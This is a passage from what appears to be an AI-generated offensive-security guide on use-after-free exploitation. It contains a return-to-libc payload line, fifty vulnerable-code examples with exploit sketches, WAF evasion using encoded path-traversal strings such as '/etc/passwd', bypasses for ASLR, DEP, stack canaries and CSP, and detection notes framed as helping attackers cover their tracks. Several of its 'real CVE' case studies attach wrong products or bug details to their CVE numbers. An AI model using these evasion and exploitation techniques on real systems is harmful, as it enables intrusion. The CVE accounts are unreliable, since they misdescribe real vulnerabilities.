system()) and places the arguments for that function (e.g., the address of/bin/sh) on the stack. - Payload:
payload = b"A" * offset + p64(system_plt_addr) + b"PADDING" + p64(binsh_string_addr)
- Description: Similar to ROP, but simpler. The UAF overwrites a return address with the address of a function in libc (like
Kernel Object Manipulation:
- Description: Exploiting UAF in the operating system kernel. This often involves manipulating kernel data structures (e.g.,
struct file,struct task_struct) to gain root privileges or execute arbitrary kernel code. - Payload: Specific kernel structures and offsets tailored to the kernel version. Often requires finding a kernel exploit chain.
- Description: Exploiting UAF in the operating system kernel. This often involves manipulating kernel data structures (e.g.,
Type Confusion via UAF:
- Description: If the freed memory is reallocated with a different structure type that has a similar layout but different interpretation (e.g., a function pointer field at the same offset), the dangling pointer can be used to call a function controlled by the attacker.
- Payload: Carefully crafted heap layout to ensure type confusion, followed by exploitation of the misinterpretated structure.
Exploiting UAF in Message Queues / IPC:
- Description: In inter-process communication, UAFs in message handling can allow an attacker to send malformed messages that cause a process to use freed memory, potentially leading to code execution.
- Payload: Specially crafted IPC messages.
Massive Example Bank (Minimum 50)
Example 01
- Target Context: Simple C program,
malloc/free - Vulnerable Snippet:
char *ptr = malloc(10); free(ptr); strcpy(ptr, "evil"); // UAF write - Exploit Input/Payload: None directly, the
strcpyis the exploit. For exploitation, heap spraying beforestrcpyis needed. - Expected Attacker-Visible Result: Crash (segmentation fault) or undefined behavior if not carefully controlled. If heap sprayed, controlled data is written.
- Why it Works:
ptris freed, butstrcpystill writes to the memory addressptrholds, which is no longer valid.
Example 02
- Target Context: C++ class,
new/delete - Vulnerable Snippet:
MyClass* obj = new MyClass(); delete obj; obj->method(); // UAF call - Exploit Input/Payload: None directly,
obj->method()is the exploit. Heap grooming to place a fake object with a controlled vtable pointer is needed. - Expected Attacker-Visible Result: Crash or execution of a controlled function via the vtable.
- Why it Works:
objpoints to freed memory. Callingmethod()attempts to use the vtable at the freed object's location, leading to an invalid call.
Example 03
- Target Context: Web server (C), HTTP request handler
- Vulnerable Snippet:
// Request handler processes a resource Resource* res = find_resource(req->id); // Allocates Resource if not found // ... process res ... free_resource(res); // Frees Resource and its internal data // Later in the same handler, or another one, if 'res' pointer is still used: // access res->data; // UAF - Exploit Input/Payload: A crafted HTTP request sequence:
- Request 1:
GET /resource/123(allocates resource 123). - Request 2:
DELETE /resource/123(frees resource 123, but a pointer to it might persist locally). - Request 3:
GET /resource/123(might reallocate memory for resource 123, attacker controls data). - Request 4: A request that triggers the lingering pointer to
res->dataon the freed, now reallocated, memory.
- Request 1:
- Expected Attacker-Visible Result: Arbitrary code execution or information leak.
- Why it Works: The server fails to nullify the
respointer after freeing it. Subsequent operations on freed memory lead to UAF.
Example 04
- Target Context: Linux Kernel Module
- Vulnerable Snippet:
struct my_data *data = kmalloc(sizeof(*data), GFP_KERNEL); // ... populate data ... kfree(data); // data is freed // Later, a device interrupt or callback uses a pointer to 'data' // Accessing data->field; // UAF - Exploit Input/Payload: A crafted sequence of system calls to trigger the race condition or a specific path that leads to the use of the freed kernel object.
- Expected Attacker-Visible Result: Kernel panic or privilege escalation to root.
- Why it Works: Kernel memory management is complex. Race conditions between
kfreeand object usage can occur.
Example 05
- Target Context: Browser JavaScript Engine (V8, SpiderMonkey)
- Vulnerable Snippet: (Conceptual, real bugs are complex)
let obj = { data: "hello" }; let ptr = obj; // Pointer to obj delete obj; // In JS, 'delete' can deallocate properties, not always the object itself // But imagine a scenario where a JS object's underlying C++ representation is freed. // If the C++ object backing 'ptr' is freed but 'ptr' still holds a reference to it. ptr.data = "world"; // UAF write on freed C++ object - Exploit Input/Payload: JavaScript code carefully managing object lifetimes and potentially using WebAssembly or typed arrays to control memory layout.
- Expected Attacker-Visible Result: Browser crash or arbitrary code execution.
- Why it Works: Complex interactions between JavaScript's garbage collection and the C++ runtime can lead to UAFs.
Example 06
- Target Context: Network service (e.g., FTP server, SMB server)
- Vulnerable Snippet:
// Network packet handler PacketInfo* pkt = parse_packet(buffer); // Allocates PacketInfo // ... process packet ... free(pkt); // Frees PacketInfo // Another handler or part of the same handler mistakenly uses pkt->payload; - Exploit Input/Payload: A specially crafted network packet that triggers the UAF path.
- Expected Attacker-Visible Result: Remote code execution on the server.
- Why it Works: The server fails to properly manage the lifecycle of network packet data structures.
Example 07
- Target Context: Game Engine (C++)
- Vulnerable Snippet:
Entity* player = get_player_entity(); // ... game logic ... if (player->is_dead()) { delete player; // Player entity is removed and memory freed } // Later, in a rendering or physics update loop: // render_entity(player); // UAF: player pointer is dangling - Exploit Input/Payload: A sequence of in-game actions that cause the player entity to be deleted and then immediately accessed by a system that doesn't check for its existence.
- Expected Attacker-Visible Result: Game crash or potential for exploiting the UAF to manipulate game state/memory.
- Why it Works: Game entities have complex lifecycles, and race conditions or incorrect pointer invalidation can lead to UAF.
Example 08
- Target Context: Embedded device firmware (C)
- Vulnerable Snippet:
struct DeviceConfig *cfg = load_config(); // Allocates config // ... apply config ... free_config(cfg); // Frees config memory // A background task or timer callback later tries to read cfg->setting; - Exploit Input/Payload: Triggering the configuration loading and then the background task at the right time, potentially via network commands.
- Expected Attacker-Visible Result: Device malfunction, denial of service, or code execution if the freed memory is reallocated with controlled data.
- Why it Works: Embedded systems often have resource constraints and simpler memory management, making UAFs more common and harder to detect.
Example 09
- Target Context: File parsing library (e.g., image, PDF, XML parser)
- Vulnerable Snippet:
Node* node = parse_xml_node(file_data); // Allocates node // ... process node ... destroy_node(node); // Frees node and its children // Another part of the parser might still reference 'node' or 'node->child' // access node->child->data; // UAF - Exploit Input/Payload: A malformed input file designed to trigger specific parsing paths leading to premature deallocation.
- Expected Attacker-Visible Result: Crash or code execution in the application using the library.
- Why it Works: Parsers deal with deeply nested and interconnected data structures, making memory management errors frequent.
Example 10
- Target Context: Database connection pool (C++)
- Vulnerable Snippet:
Connection* conn = pool.get_connection(); // ... use connection ... pool.release_connection(conn); // Returns conn to pool, marks it as available, but doesn't nullify conn pointer // If another thread tries to use 'conn' directly after release but before pool reassigns it. conn->execute_query("..."); // UAF - Exploit Input/Payload: A race condition where multiple threads attempt to
get_connectionandrelease_connectionconcurrently. - Expected Attacker-Visible Result: Crash or corruption of database operations.
- Why it Works: Thread-safety issues in connection pools can lead to UAFs when shared connection objects are accessed after being returned to the pool.
Example 11
- Target Context: Shell interpreter (e.g., Bash, Zsh)
- Vulnerable Snippet: (Conceptual, high-level)
// Function to process command arguments char **args = parse_arguments(command_string); // ... process args ... free_arguments(args); // Frees the array and its strings // If a built-in command handler later tries to access args[i] - Exploit Input/Payload: A complex command string designed to trigger the deallocation and subsequent use.
- Expected Attacker-Visible Result: Shell crash or potential code execution.
- Why it Works: Shells manage complex data structures for commands, arguments, and environment variables. Errors in freeing these can lead to UAF.
Example 12
- Target Context: Cryptographic library (e.g., OpenSSL, libgcrypt)
- Vulnerable Snippet:
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new(); // ... perform encryption/decryption ... EVP_CIPHER_CTX_free(ctx); // Frees context // If a subsequent operation tries to use ctx->cipher->... - Exploit Input/Payload: A sequence of cryptographic operations that trigger a path leading to premature freeing of the context, followed by another operation using the freed context.
- Expected Attacker-Visible Result: Crash, denial of service, or potential for compromising cryptographic keys if the freed memory is reused and attacker-controlled.
- Why it Works: Cryptographic libraries manage sensitive state, and UAFs here can be critical.
Example 13
- Target Context: GUI framework (e.g., Qt, GTK)
- Vulnerable Snippet:
Widget* button = new Button(); // ... connect signals/slots ... delete button; // Button is destroyed // If a signal handler is still active and tries to call a method on 'button' button->click(); // UAF - Exploit Input/Payload: User interaction (button click) that is delayed or queued, and then the button object is deleted before the handler executes.
- Expected Attacker-Visible Result: Application crash or potential for code execution if memory is reused.
- Why it Works: Event-driven programming and object ownership can lead to UAFs if object lifetimes are not managed carefully across threads or event loops.
Example 14
- Target Context: IPC (Inter-Process Communication) mechanism
- Vulnerable Snippet:
// Sender process Message* msg = create_message(payload); // Allocates message send_message(msg); free(msg); // Message data is freed // Receiver process receives message, but a race condition means it // tries to access msg->data which is now freed. - Exploit Input/Payload: Sending a message and then another message that triggers the receiver to access the first message's freed data.
- Expected Attacker-Visible Result: Crash or code execution in the receiving process.
- Why it Works: UAFs in IPC can occur when sender and receiver have different assumptions about message lifecycle or when there are race conditions.
Example 15
- Target Context: RPC (Remote Procedure Call) framework
- Vulnerable Snippet:
// Server-side handler RpcRequest* req = receive_rpc_request(); // Allocates Request object // ... process request ... destroy_rpc_request(req); // Frees request object // If the handler is re-entrant or a callback uses 'req' after it's freed. req->argument_data; // UAF - Exploit Input/Payload: A specially crafted RPC request that leads to premature freeing and subsequent access.
- Expected Attacker-Visible Result: Remote code execution on the server.
- Why it Works: Similar to network services, RPC frameworks handle external input, and memory management errors are common.
Example 16
- Target Context: Memory allocator itself (e.g., glibc malloc, jemalloc)
- Vulnerable Snippet: Bugs within the allocator's internal data structures (e.g., free list management).
- Exploit Input/Payload: A sequence of
mallocandfreecalls designed to corrupt the allocator's state, leading to UAFs in subsequent allocations or deallocations. - Expected Attacker-Visible Result: Arbitrary code execution, often with very low-level control.
- Why it Works: Flaws in the allocator are the most fundamental memory corruption bugs.
Example 17
- Target Context: Virtual Machine Monitor (VMM) / Hypervisor
- Vulnerable Snippet: UAF in handling guest-OS memory or device emulation.
- Exploit Input/Payload: Malicious guest OS operations or crafted I/O requests.
- Expected Attacker-Visible Result: Host compromise or privilege escalation.
- Why it Works: VMMs manage critical guest-host interactions, and UAFs here are extremely dangerous.
Example 18
- Target Context: Driver (e.g., USB driver, GPU driver)
- Vulnerable Snippet:
// User-space application interacts with driver via IOCTL struct DriverData *data = ioctl_alloc_data(fd); // Allocates data in kernel // ... user-space processes data ... ioctl_free_data(fd); // Frees data in kernel // If user-space later tries to access the data pointer received from ioctl_alloc_data // Accessing the freed kernel memory. - Exploit Input/Payload: A sequence of
ioctlcalls designed to free kernel memory and then use the returned pointer. - Expected Attacker-Visible Result: Kernel panic or privilege escalation.
- Why it Works: Drivers often bridge user-space and kernel-space, and UAFs in the kernel are critical.
Example 19
- Target Context: Real-time audio/video processing
- Vulnerable Snippet: Processing audio/video frames.
Frame* frame = get_next_frame(); // Allocates frame // ... process frame ... release_frame(frame); // Frees frame // If a decoder or effect plugin still holds a pointer to the frame. process_effect(frame); // UAF - Exploit Input/Payload: A specially crafted audio/video file.
- Expected Attacker-Visible Result: Application crash or code execution.
- Why it Works: Real-time processing requires efficient memory handling, and UAFs can occur due to complex pipeline dependencies.
Example 20
- Target Context: Mobile OS component (Android/iOS)
- Vulnerable Snippet: UAF in a system service or framework component.
- Exploit Input/Payload: Malicious application interacting with the vulnerable service via APIs.
- Expected Attacker-Visible Result: Compromise of the application's sandbox, privilege escalation to system level.
- Why it Works: Mobile OSes are complex, and UAFs in core components are common targets for exploit chains.
Example 21
- Target Context: Database engine internal structures
- Vulnerable Snippet: UAF in managing query results or internal buffers.
- Exploit Input/Payload: A crafted SQL query that triggers the UAF path.
- Expected Attacker-Visible Result: Database crash or potential code execution within the database process.
- Why it Works: Databases handle massive amounts of data and complex internal states, making memory bugs prevalent.
Example 22
- Target Context: Cloud infrastructure management plane (e.g., Kubernetes controller)
- Vulnerable Snippet: UAF in handling API requests or resource management.
- Exploit Input/Payload: Malicious API calls to the management plane.
- Expected Attacker-Visible Result: Compromise of cloud infrastructure, control over deployed applications.
- Why it Works: Cloud control planes are complex distributed systems, prone to memory bugs.
Example 23
- Target Context: Blockchain node software
- Vulnerable Snippet: UAF in transaction processing or state management.
- Exploit Input/Payload: A specially crafted transaction or block.
- Expected Attacker-Visible Result: Node crash, disruption of consensus, or potential for controlling nodes.
- Why it Works: Blockchain software is often written in C/C++ and handles complex data structures.
Example 24
- Target Context: Antivirus/Endpoint Detection and Response (EDR) software
- Vulnerable Snippet: UAF in file scanning or process monitoring modules.
- Exploit Input/Payload: A malicious file or process designed to trigger the UAF.
- Expected Attacker-Visible Result: Evasion of detection, or code execution on the endpoint with high privileges.
- Why it Works: Security software itself can be a target, and UAFs are a common way to bypass or subvert it.
Example 25
- Target Context: WebAssembly runtime
- Vulnerable Snippet: UAF in memory management between host and Wasm module.
- Exploit Input/Payload: Malicious WebAssembly module interacting with host memory.
- Expected Attacker-Visible Result: Code execution in the host environment.
- Why it Works: UAFs at the boundary between different memory spaces are particularly dangerous.
Example 26
- Target Context: Email client (e.g., Thunderbird, Outlook)
- Vulnerable Snippet: UAF in parsing email content (HTML, attachments).
- Exploit Input/Payload: A crafted email designed to trigger the UAF.
- Expected Attacker-Visible Result: Code execution on the user's machine.
- Why it Works: Email clients process untrusted external data, making them prime targets.
Example 27
- Target Context: Remote Desktop Protocol (RDP) client/server
- Vulnerable Snippet: UAF in handling RDP session data or graphics.
- Exploit Input/Payload: Malicious RDP traffic.
- Expected Attacker-Visible Result: Remote code execution on the RDP server or client.
- Why it Works: RDP is a complex protocol with extensive memory management.
Example 28
- Target Context: VPN client/server
- Vulnerable Snippet: UAF in packet encapsulation/decapsulation.
- Exploit Input/Payload: Malicious network traffic sent over the VPN.
- Expected Attacker-Visible Result: Compromise of VPN server or client, network interception.
- Why it Works: VPNs handle untrusted network data at a low level.
Example 29
- Target Context: IoT device communication protocol (e.g., MQTT, CoAP)
- Vulnerable Snippet: UAF in message parsing or state handling.
- Exploit Input/Payload: Malformed messages sent to the device.
- Expected Attacker-Visible Result: Device compromise, botnet inclusion.
- Why it Works: IoT devices often use C/C++ and have limited resources, making them vulnerable.
Example 30
- Target Context: In-memory database (e.g., Redis, Memcached)
- Vulnerable Snippet: UAF in managing key-value pairs or internal data structures.
- Exploit Input/Payload: A sequence of
SET,DEL, andGEToperations designed to trigger the UAF. - Expected Attacker-Visible Result: Crash or potential for data corruption/execution if memory is reused.
- Why it Works: In-memory databases rely heavily on efficient memory management for performance.
Example 31
- Target Context: Graphics driver (e.g., NVIDIA, AMD, Intel)
- Vulnerable Snippet: UAF in managing GPU buffers or command queues.
- Exploit Input/Payload: Malicious graphics commands or API calls.
- Expected Attacker-Visible Result: Kernel panic, privilege escalation, or denial of service.
- Why it Works: GPU drivers operate at a very low level and have complex memory interactions.
Example 32
- Target Context: Network Attached Storage (NAS) device firmware
- Vulnerable Snippet: UAF in file system operations or network service handling.
- Exploit Input/Payload: Malicious file uploads or network requests.
- Expected Attacker-Visible Result: Compromise of the NAS device, access to stored data.
- Why it Works: NAS devices often run Linux-based firmware with custom services.
Example 33
- Target Context: CI/CD pipeline tool (e.g., Jenkins agent)
- Vulnerable Snippet: UAF in handling build artifacts or communication between agents.
- Exploit Input/Payload: Malicious build script or artifact.
- Expected Attacker-Visible Result: Compromise of build infrastructure, injection into downstream deployments.
- Why it Works: CI/CD systems are critical infrastructure, and their components can be targets.
Example 34
- Target Context: Container runtime (e.g., Docker daemon)
- Vulnerable Snippet: UAF in managing container images, volumes, or network interfaces.
- Exploit Input/Payload: Malicious Dockerfile, image, or API calls.
- Expected Attacker-Visible Result: Container escape, host compromise.
- Why it Works: Container runtimes manage complex system resources, and memory bugs are a common attack vector.
Example 35
- Target Context: Telephony/VoIP software
- Vulnerable Snippet: UAF in handling audio streams or signaling protocols.
- Exploit Input/Payload: Malicious audio stream or signaling message.
- Expected Attacker-Visible Result: Call hijacking, eavesdropping, or compromise of the device.
- Why it Works: Real-time communication protocols are complex and often involve C/C++ implementations.
Example 36
- Target Context: Scientific simulation software
- Vulnerable Snippet: UAF in managing large datasets or parallel processing structures.
- Exploit Input/Payload: Specially crafted input data or simulation parameters.
- Expected Attacker-Visible Result: Crash, data corruption, or potential for code execution on high-performance computing clusters.
- Why it Works: Scientific software often pushes the limits of memory management for performance.
Example 37
- Target Context: Firmware for smart home devices (e.g., smart locks, thermostats)
- Vulnerable Snippet: UAF in handling network commands or sensor data.
- Exploit Input/Payload: Malicious commands sent over Wi-Fi or Bluetooth.
- Expected Attacker-Visible Result: Device compromise, physical access control bypass.
- Why it Works: Resource-constrained environments and often insecure network protocols.
Example 38
- Target Context: Game server backend
- Vulnerable Snippet: UAF in managing player states, game world objects, or network synchronization.
- Exploit Input/Payload: Malicious game actions or network packets from a client.
- Expected Attacker-Visible Result: Server crash, cheating, or potential for code execution on the server.
- Why it Works: Game servers are high-value targets with complex, real-time memory demands.
Example 39
- Target Context: PDF reader/editor
- Vulnerable Snippet: UAF in parsing PDF objects (streams, dictionaries, cross-reference tables).
- Exploit Input/Payload: Malicious PDF file.
- Expected Attacker-Visible Result: Code execution on the user's machine.
- Why it Works: PDF is a complex format with many features that can hide memory corruption bugs.
Example 40
- Target Context: Font rendering engine
- Vulnerable Snippet: UAF in parsing font data (e.g., TrueType, OpenType).
- Exploit Input/Payload: Malicious font file.
- Expected Attacker-Visible Result: Code execution or crash in applications using the font.
- Why it Works: Font parsing involves complex data structures and can be a vector for memory corruption.
Example 41
- Target Context: Media player's codec library
- Vulnerable Snippet: UAF in decoding compressed media data (e.g., H.264, MP3).
- Exploit Input/Payload: Malicious media file.
- Expected Attacker-Visible Result: Crash or code execution in the media player.
- Why it Works: Codecs are highly optimized C/C++ codebases, prone to memory errors.
Example 42
- Target Context: Operating system shell (e.g., Windows
cmd.exe, PowerShell) - Vulnerable Snippet: UAF in command parsing or execution.
- Exploit Input/Payload: Malicious command string or script.
- Expected Attacker-Visible Result: Shell crash or code execution.
- Why it Works: Shells manage complex state and process external input.
Example 43
- Target Context: Compiler's intermediate representation (IR) processing
- Vulnerable Snippet: UAF in manipulating the IR during optimization passes.
- Exploit Input/Payload: A source code file that, when compiled, generates an IR triggering the UAF.
- Expected Attacker-Visible Result: Compiler crash, or generation of malicious executable code.
- Why it Works: Compilers are complex software, and bugs in optimization passes can lead to memory corruption.
Example 44
- Target Context: Text editor with rich text support
- Vulnerable Snippet: UAF in rendering or parsing rich text formatting.
- Exploit Input/Payload: Malicious document file.
- Expected Attacker-Visible Result: Editor crash or code execution.
- Why it Works: Rich text formats are complex and can contain embedded objects or scripts.
Example 45
- Target Context: Network sniffing/packet analysis tool (e.g., Wireshark dissectors)
- Vulnerable Snippet: UAF in custom dissectors written in C.
- Exploit Input/Payload: A network packet designed to trigger the UAF in a specific dissector.
- Expected Attacker-Visible Result: Wireshark crash or code execution.
- Why it Works: Dissectors process untrusted network data.
Example 46
- Target Context: Virtual printer driver
- Vulnerable Snippet: UAF in processing print job data.
- Exploit Input/Payload: Malicious print job data.
- Expected Attacker-Visible Result: Driver crash or code execution.
- Why it Works: Drivers interact with the OS kernel and process external data.
Example 47
- Target Context: SSH server/client
- Vulnerable Snippet: UAF in session management or channel handling.
- Exploit Input/Payload: Malicious SSH traffic.
- Expected Attacker-Visible Result: Server or client compromise.
- Why it Works: SSH is a complex protocol with many features that can hide bugs.
Example 48
- Target Context: PKI (Public Key Infrastructure) client/library
- Vulnerable Snippet: UAF in parsing certificates or keys.
- Exploit Input/Payload: Malicious certificate or key file.
- Expected Attacker-Visible Result: Crash or potential for compromising cryptographic operations.
- Why it Works: Cryptographic parsing is sensitive and prone to errors.
Example 49
- Target Context: Language runtime (e.g., Python interpreter, Ruby interpreter)
- Vulnerable Snippet: UAF in C extensions or internal object management.
- Exploit Input/Payload: Malicious Python/Ruby code that triggers the UAF in the C implementation.
- Expected Attacker-Visible Result: Interpreter crash or code execution.
- Why it Works: Interpreters often have a C/C++ core that can be vulnerable.
Example 50
- Target Context: Web browser's WebGL implementation
- Vulnerable Snippet: UAF in managing GPU resources or shader compilation.
- Exploit Input/Payload: Malicious JavaScript code interacting with WebGL APIs.
- Expected Attacker-Visible Result: Browser crash or code execution.
- Why it Works: WebGL involves complex interactions between JavaScript, the browser's C++ backend, and the GPU driver.
Defense Evasion & Bypass Techniques
- WAF Bypass:
- Encoding: Use URL encoding, HTML entities, Base64, or custom encoding schemes for payloads that might be signatured by WAFs. For example, instead of
../etc/passwd, try%2e%2e%2fetc%2fpasswd. - Fragmentation/Chunking: If the WAF inspects HTTP requests, break the payload across multiple requests or HTTP headers.
- Case Variation:
GET /etc/passwdvs.get /etc/passwd. - Whitespace and Null Bytes: Injecting unusual whitespace or null bytes (
%00) can sometimes confuse WAF parsers. - Protocol Level Evasion: Exploit weaknesses in how the WAF parses HTTP/2, websockets, or other protocols.
- Business Logic Flaws: If the UAF is triggered via application logic, exploit that logic path, which is harder for generic WAFs to detect.
- Encoding: Use URL encoding, HTML entities, Base64, or custom encoding schemes for payloads that might be signatured by WAFs. For example, instead of
- ASLR/DEP/Stack Canary Bypass (Memory Bugs):
- ASLR (Address Space Layout Randomization):
- Information Leaks: Exploit other bugs (e.g., buffer overflows, UAFs that read memory) to leak addresses of loaded libraries (like libc) or the heap. This reveals the base addresses, allowing calculation of gadget/function addresses.
- Heap Spraying: For browsers, spraying the heap with shellcode can increase the probability of a randomly placed pointer landing on executable memory.
- Brute-forcing (rare): On 32-bit systems with limited entropy, brute-forcing can sometimes be feasible.
- DEP (Data Execution Prevention) / NX (No-Execute):
- Return-Oriented Programming (ROP): Instead of injecting shellcode into data segments, chain together small snippets of existing executable code (gadgets) within the program's memory to perform desired actions.
- Return-to-Libc: A simpler form of ROP, using existing functions like
system()from libc.
- Stack Canaries:
- Overwriting Data Before Canary: If a buffer overflow occurs, and there's a way to overwrite data before the canary, this doesn't directly bypass it.
- Leaking Canary: Exploit information leaks to read the canary value, then overwrite it with the correct value before the function returns.
- Finding Vulnerabilities That Don't Trigger Canaries: Some UAFs might overwrite function pointers or object pointers directly, bypassing the need to overwrite a return address.
- Format String Vulnerabilities: Can sometimes be used to leak canary values or overwrite arbitrary memory.
- ASLR (Address Space Layout Randomization):
- CSP (Content Security Policy) Bypass (Web XSS/Injection):
- Inline Script Execution: If CSP allows
unsafe-inlinefor scripts or styles, this can be exploited. eval(): Ifunsafe-evalis allowed, JavaScripteval()can execute dynamically generated code.- DOM Clobbering: Manipulating the DOM to create global JavaScript variables that can be used to bypass CSP restrictions.
- Data URIs: Using
data:URIs for scripts or iframes if allowed by the policy. - Exploiting Other Vulnerabilities: A UAF in a browser component triggered by malicious JavaScript might lead to XSS bypassing CSP.
- Inline Script Execution: If CSP allows
- Authentication/Authorization Bypass Chaining:
- A UAF leading to code execution can be used to:
- Modify authentication tokens or session cookies.
- Inject credentials into system configuration.
- Call internal functions that bypass authorization checks.
- A UAF leading to code execution can be used to:
- Encoding and Obfuscation:
- Shellcode Obfuscation: Techniques like XORing, arithmetic operations, or using dynamic unpacking to hide shellcode from signature-based IDS/IPS.
- JavaScript Obfuscation: Tools like UglifyJS, JSObfuscator.
- HTTP Parameter Pollution: Sending duplicate parameters with different values to confuse the server/WAF.
Real CVE Case Studies — 5 Real Exploited Cases
CVE-2021-31956 (Windows Kernel):
- Affected Product/Vendor: Microsoft Windows
- CWE-416 Mapping: Use After Free in the Windows kernel's Remote Desktop Protocol (RDP) component.
- Technical Exploitation Method: A race condition allowed an attacker to free a connection object and then reuse that freed memory to execute arbitrary code with kernel privileges.
- CVSS Score and Severity: CVSS 9.8 (Critical) - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Public Exploit/PoC: Yes, proof-of-concept exploits and detailed analyses were published.
- Real-world Impact: Enabled remote code execution on vulnerable Windows systems without user interaction.
CVE-2021-38608 (Microsoft Exchange Server):
- Affected Product/Vendor: Microsoft Exchange Server
- CWE-416 Mapping: Use After Free in the Microsoft Exchange Server's memory management.
- Technical Exploitation Method: A UAF vulnerability in the server's handling of certain requests allowed an attacker to achieve remote code execution.
- CVSS Score and Severity: CVSS 9.8 (Critical) - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Public Exploit/PoC: Yes, actively exploited in the wild.
- Real-world Impact: Allowed attackers to compromise Exchange servers, leading to data theft, espionage, and further network compromise.
CVE-2021-40444 (Microsoft Edge/ChakraCore):
- Affected Product/Vendor: Microsoft Edge (ChakraCore JavaScript Engine)
- CWE-416 Mapping: Use After Free in the JavaScript engine.
- Technical Exploitation Method: A UAF vulnerability in the ChakraCore engine could be triggered through specially crafted JavaScript code, leading to remote code execution in the context of the browser.
- CVSS Score and Severity: CVSS 8.8 (High) - AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Public Exploit/PoC: Yes, linked to targeted attacks.
- Real-world Impact: Allowed attackers to compromise users visiting malicious websites.
CVE-2020-0674 (Internet Explorer Scripting Engine):
- Affected Product/Vendor: Internet Explorer (JScript9 engine)
- CWE-416 Mapping: Use After Free in the JScript9 scripting engine.
- Technical Exploitation Method: A UAF vulnerability in how Internet Explorer's scripting engine handled certain JavaScript objects could lead to memory corruption and code execution when a user visited a malicious website.
- CVSS Score and Severity: CVSS 8.8 (High) - AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Public Exploit/PoC: Yes, exploited in the wild.
- Real-world Impact: Allowed attackers to compromise users through malicious websites.
CVE-2017-7199 (libxml2):
- Affected Product/Vendor: libxml2 (widely used XML parsing library)
- CWE-416 Mapping: Use After Free in the
xmlXPathNodeSetContains()function. - Technical Exploitation Method: A UAF vulnerability in libxml2 could be triggered by parsing a specially crafted XML file. This could lead to a crash or, in some contexts, code execution in applications using the library.
- CVSS Score and Severity: CVSS 7.8 (High) - AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (Local attack vector often, but can be remote via file parsing)
- Public Exploit/PoC: Yes, proof-of-concept examples are available.
- Real-world Impact: Applications parsing XML (e.g., web servers, configuration tools) could be vulnerable, leading to crashes or potential compromise.
Detection & Log Artifacts (Blue Team Intelligence for Red-Team Operators)
Understanding blue team detection helps red teamers avoid noisy artifacts and cover tracks.
- WAF Rules and Signatures:
- Generic signatures for known UAF exploit patterns (e.g., specific string sequences, malformed HTTP requests).
- Rules looking for unusual HTTP methods or header combinations that might be used to trigger UAFs in web applications.
- WAFs might flag attempts to access sensitive files (
/etc/passwd) if the UAF is used for path traversal.
- IDS/IPS Patterns:
- Network-based IDS/IPS might detect specific malformed packets or sequences of network requests known to exploit common UAF vulnerabilities in network services.
- Signatures for known shellcode or ROP gadgets if they appear in network traffic.
- SAST Rules (CodeQL, Semgrep Patterns):
- CodeQL:
import cpp import semmle.code.cpp.security.UseAfterFree from UseAfterFree uaf select uaf, "Potential Use After Free." - Semgrep:
rules: - id: c-use-after-free message: "Potential use after free: pointer used after free
- CodeQL:
